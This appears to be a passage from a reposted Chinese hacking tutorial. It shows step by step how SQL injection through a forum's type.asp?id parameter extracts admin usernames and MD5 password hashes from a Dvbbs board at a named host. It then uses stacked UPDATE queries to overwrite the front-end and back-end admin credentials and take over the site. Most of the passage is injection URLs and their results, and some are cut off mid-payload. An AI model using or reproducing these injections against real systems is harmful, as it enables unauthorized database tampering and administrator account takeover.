/type.asp?id=(sele ... from admin)-- 出来了，管理员后台登陆名为： 01city 继续读出管理员后台登陆密码： http://www.loveyou.com/type.asp?id=(sele ... from admin)-- 很顺利，密码为： e7cc01be0e33a273 是MD5加密过的。难道要去破解它吗？ 别急，根本不需要去破MD5密码。 由于动网后台管理是COOKIE+SESSION认证。所以只有管理员在前台登陆才可以进后台管理，一般用户是无法进后台管理的。即使后台用户和密码都知道的情况下也一样。所以我们还要取得前台管理的用户和密码。 这个很容易，在他论坛注册一个用户查看一下管理团队，得出，前台管理用户为： admin
好，得到他的密码：
程序代码：
[ 复制代码到剪贴板 ]
http://www.loveyou.com/type.asp?id=(select userpassword from user where username=''''admin'''')-- 返回，admin的前台密码为：e7cc01be0e33a273 同样是MD5的。 现在利用COOKIE欺骗可以登陆它的前台管理了。但是还有别的办法吗？别忘了现在我们可是对它的数据库拥有生杀大权哦。聪明的你可能想到了，对 ，就是，update。 我们来提交： http://www.loveyou.com/type.asp?id=6;update user set userpa ... 39; where username=''''admin''''；-- 正常返回信息，应该成功执行了，查看一下： http://www.loveyou.com/type.asp?id=(select userpassword&n ... here username=''''admin'''')-- 返回值为： 49ba59abbe56e057 更改密码成功，说明一下，这个16位MD5是预先算好的。你要知道它的明文密码。 那么同样的，我们更改一下后台的管理密码.先把后台用户改成和前台用户一样的，提交： http://www.loveyou.com/type.asp?id=6;update admin set ... sp;where username=''''01city''''--
查看一下：
程序代码：
[ 复制代码到剪贴板 ]
http://www.loveyou.com/type.asp?id=(select username from admin)-- 更改成功，后台管理员现在已变成：admin 接下来更改密码，提交： http://www.loveyou.com/type.asp?id=6;update admin set passw ... ; where username=''''admin''''--
查看一下：
程序代码：
[ 复制代码到剪贴板 ]
http://www.loveyou.com/type.asp?id=(select password from admin)-- 更改成功，后台管理员密码已经变成：49ba59abbe56e057
到这里为止，动网已彻底沦陷。你可以用admin登陆前台然后再用相同的密码进后台管理了。
注：本站部分文章源于互联网，版权归原作者所有！如有侵权，请原作者与本站联系，本站将立即删除！ 本站文章除特别注明外均可转载，但需注明出处！ [MinTao学以致用网] 
